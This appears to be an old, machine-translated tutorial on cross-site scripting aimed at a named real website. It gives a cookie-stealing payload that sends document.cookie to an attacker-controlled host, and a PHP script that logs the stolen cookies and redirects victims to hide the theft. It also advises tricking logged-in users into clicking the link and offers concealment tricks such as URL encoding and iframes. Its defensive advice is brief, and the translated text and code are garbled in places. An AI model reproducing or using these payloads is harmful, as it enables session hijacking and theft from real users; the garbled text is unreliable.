Cross-Site Scripting Vulnerability explanation and Protection

This article describes the causes, forms, harms, exploitation methods, hiding techniques, solutions, and FAQs of cross-site scripting (XSS) vulnerabilities ), as there is not much information about the cross-site scripting vulnerability, and it is generally not very detailed, I hope this article will be more detailed. Due to the rush of time and limited level, this article may have many errors. I hope you will not be enlightened.

Do not use any content, code, or method described in this article to destroy the statement. Otherwise, all consequences will be borne by you!

[Vulnerability cause]
The reason is simple because the CGI program does not filter or convert the HTML code in the variables submitted by the user.

[Vulnerability form]
The form mentioned here actually refers to the CGI Input form, which is mainly divided into two types:
1. display input
2. Implicit Input
The input explicitly requires the user to input data, while the implicit input does not require the user to input data, but the user can interfere with the input data.
Display input can be divided into two types:
1. output results immediately after the input is complete
2. After the input is complete, it is stored in a text file or database and then output the result.
Note: the latter may make your website invisible! :(
In addition to some normal situations, implicit input can also be implemented by using servers or CGI programs to process error messages.

[Hazards]
The most important thing is probably to consider this issue. The list below may not be comprehensive or systematic, but I think it should be more typical.
1. Obtain Sensitive data from cookies of other users
2. Blocking specific page information
3. counterfeit page information
4. DoS Attacks
5. Break through different security settings on the Internet Intranet
6. In combination with other vulnerabilities, modify system settings, view system files, and execute system commands.
7. Others
In general, the above hazards are often accompanied by PAGE deformation. The so-called cross-site scripting vulnerability, that is, the effect of attacks through other websites, that is, such attacks can hide identities to a certain extent.

[Method of exploits]
The following is a concrete example to demonstrate the various dangers above. This can better illustrate the problem and make it easier to understand. In order to clarify the cause, we will conduct an experiment on each type of hazard.
To do these experiments well, we need a packet capture software. I use Iris. Of course, you can choose other software, such as NetXray. For more information, see the help or manual.
In addition, you need to understand that as long as the server returns user-submitted information, there may be a cross-site scripting vulnerability.
Okay. Everything is ready. Let's start the experiment! :)

Tutorial 1: obtain sensitive information from cookies of other users
Take the famous website 5460.net in China as an example to describe how to perform the following steps:
1. Go to the home http://www.5460.net/
2. Enter the user name "3. Analyze the packet capture data to obtain the actual request:
Http://www.5460.net/txl/login/login.pl? Username = 4. Construct a commit to display the user Cookie information:
Http://www.5460.net/txl/login/login.pl? Username = <script> alert (document. cookie) </script> & passwd = & OK. x = 28 & OK. y = 6
5. If the above request gets the expected results, we can try the following request:
Http://www.5460.net/txl/login/login.pl? Username = <script> window. open ("http://www.notfound.org/info. php? "% 2Bdocument. cookie) </script> & passwd = & OK. x = 28 & OK. y = 6
Http://www.notfound.org/info.php is a script on a certain website that you can control. The function is to obtain the information in the query string. The content is as follows:
<? Php
$ Info = getenv ("QUERY_STRING ");
If ($ info ){
$ Fp = fopen ("info.txt", "");
Fwrite ($ fp, $ info. "/n ");
Fclose ($ fp );
}
Header ("Location: http://www.5460.net ");
Note: "% 2B" is the URL encoding of "+", and "% 2B" can only be used here, because "+" will be processed as a space. The header clause is purely used to increase concealment.
6. If the above URL runs correctly, the next step is to trick a user logging on to 5460.net to access the URL, and we can obtain the sensitive information in the user's Cookie.
7. You have to decide what to do later!

Experiment 2: blocking specific page information
We still use 5460.net as an example. Below is a problematic CGI program:
Http://www.5460.net/txl/liuyan/liuyanSql.pl
The CGI program accepts the three variables provided by the user, namely nId, csId, and cName. However, it does not check the cName variables submitted by the user, in addition, this CGI program uses the cName value as part of the output page. 5460.net users should be clear about your name in the lower right corner of the message, right?
With the above conditions, we can draw the following conclusions:
A user can "block" all messages between two messages!
Of course, the "blocking" we say is not "Delete". users' messages still exist, but we cannot see them on the page due to HTML features, of course, if you like to view the source code, it will be of no use, but the people who study CGI security come to say, how many people can read the HTML source code if there is nothing to do with it?
For various reasons, I will not discuss the details here. You can understand the principles.
Note: We can not only block messages, but also leave anonymous messages, Right?

Experiment 3: counterfeit page information
If you understand the experiment above, there is no need to do this experiment. The basic principle is the same, but it is a little troublesome to implement it.

Experiment 4: DoS Attacks
We should know that we can control the actions of servers with cross-site scripting vulnerabilities to some extent. In this way, we can control the servers to consume resources. For example, you can run JavaScript scripts that contain endless loops or open infinite windows. In this way, the user system accessing the URL may slow down or even crash. Similarly, we may also embed some scripts in the scripts so that the server can request resources from other servers. If the accessed resources consume resources and the number of visitors is large, then, the accessed server may also be denied, and it considers that the denial-of-service attack was initiated by the server that accessed it, so that the identity can be hidden.

Tutorial 5: Break through different Intranet Security Settings
This should be easy to understand. Generally, our browser sets different security levels for different regions. For example, JavaScript Execution may not be allowed in the Internet region, but in the Intranet region, JavaScript Execution is allowed. Generally, the security level of the former is higher than that of the latter. In this way, attackers generally cannot attack you by executing malicious JavaScript scripts. However, if the server on the same Intranet has a cross-site scripting vulnerability, attackers can take advantage of it, because the server is located in the Intranet region.

Experiment 6: combined with other vulnerabilities, modify system settings, view system files, and execute system commands
Because there are too many browser-related vulnerabilities, there are many vulnerabilities that can be combined with cross-site scripting vulnerabilities. I think you should be very clear about these questions. Some time ago, the IE title Modification Vulnerability, the MIME-type execution command vulnerability, and a variety of worms are good examples.
For more examples, see the following link:
Internet Explorer Pop-Up OBJECT Tag Bug
Http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability
Http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6 can read local files
Http://www.xs4all.nl /~ Jkuperus/bug.htm
MSIE may download and run progams automatically
Http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
File extensions spoofable in MSIE download dialog
Http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
The other IE cookie stealing bug (MS01-055)
Http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
Http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Serious security Flaw in Microsoft Internet Explorer-Zone Spoofing
Http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
Http://www.kriptopolis.com/cua/eml.html

The role of the Cross-Site Scripting Vulnerability here is to hide the identities of real attackers.

Experiment 7: Others
In fact, this type of problem does not have much to do with the cross-site scripting vulnerability, but it is necessary to mention it here. The problem is that the CGI program does not filter the data submitted by the user and then outputs the data. For example, the CGI program on the server that supports SSI outputs user-submitted data. No matter how the data is input, the SSI command may be executed. Of course, this is performed on the server rather than the client. In fact, CGI languages such as ASP, PHP, and Perl may cause this problem.

[Hide tips]
For the sake of time, I will focus on the theory here. I believe it is not difficult to understand. If there is a problem, go to the book.
1. URL Encoding
Comparison:
Http://www.5460.net/txl/login/login.pl? Username = Http://www.5460.net/txl/login/login.pl? Username = % 3C % 68% 31% 3E & passwd = & OK. x = 28 & OK. y = 6
Which one do you think is more concealed ?!

2. Hide it under other objects
Do you decide to hide the link below the button better than simply giving someone a link?

3. embedded in the page
To allow others to access an address (note that the address here is different from the URL mentioned above) is much easier than making others press a button, with the help of Iframe, you can make this attack more concealed.

4. make proper use of the event
When events are used properly, the CGI program's input restrictions can be bypassed in some cases, such as the cross-site scripting vulnerability of SecurityFocus in the previous days.

[Note]
Generally, you can directly perform a command similar to <script> alert (document. cookie) </script> and other attacks have no problem, but sometimes the CGI program processes user input, for example, including ''or, in this case, we need some tips to bypass these restrictions.
If you are familiar with the HTML language, bypassing these restrictions is not a problem.

[Solution]
To avoid cross-site scripting attacks, both the programmer and the user must work together:
Programmer:
1. filter or convert HTML code from user submitted data
2. restrict the length of data submitted by users

User:
1. Do not easily access the links provided by others
2. Prohibit the browser from running JavaScript and ActiveX Code

Note: the location of Common Browser modification settings is as follows:
Internet Explorer:
Tools> Internet Options> Security> Internet> Custom Level
Tools> Internet Options> Security> Intranet> Custom Level
Opera:
File-> quick parameters-> allow Java
File-> quick parameters-> allow plug-ins
File-> quick parameters-> allow JavaScript

[FAQs]
Q: Where does the cross-site scripting vulnerability exist?
A: As long as it is a cgi program and user input is allowed, there may be A cross-site scripting vulnerability.

Q: Can cross-site scripting only steal cookies from others?
A: Of course not! What HTML code can do is to implement cross-site scripting.